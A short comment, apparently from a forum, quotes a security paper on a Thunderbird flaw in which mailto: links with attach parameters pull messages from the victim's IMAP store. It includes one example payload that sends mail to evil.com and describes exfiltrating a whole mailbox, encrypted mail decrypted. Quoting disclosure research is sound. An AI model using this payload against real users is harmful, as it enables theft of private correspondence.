It's even worse. From the paper:

3) Access to IMAP Storage:

Thunderbird uses an adapted version of the imap:// URI scheme to internally address emails stored on IMAP folders. This allows an attacker to include messages on the victim’s IMAP server (specified by their UID) using an attach parameter, as shown in Listing 6.

   mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1

    Listing 6. Mailto URI to attach the first email from the victim’s IMAP server.

Multiple emails can be attached by using multiple attach parameters with different UIDs. By setting the UID from one to the maximum number of stored messages, and including all UIDs as attach parameters the whole mailbox of the victim can be exfiltrated at once.

Even worse, all OpenPGP and S/MIME encrypted emails in the attached email are automatically decrypted by Thunderbird before sending them back to the attacker.

Sheesh!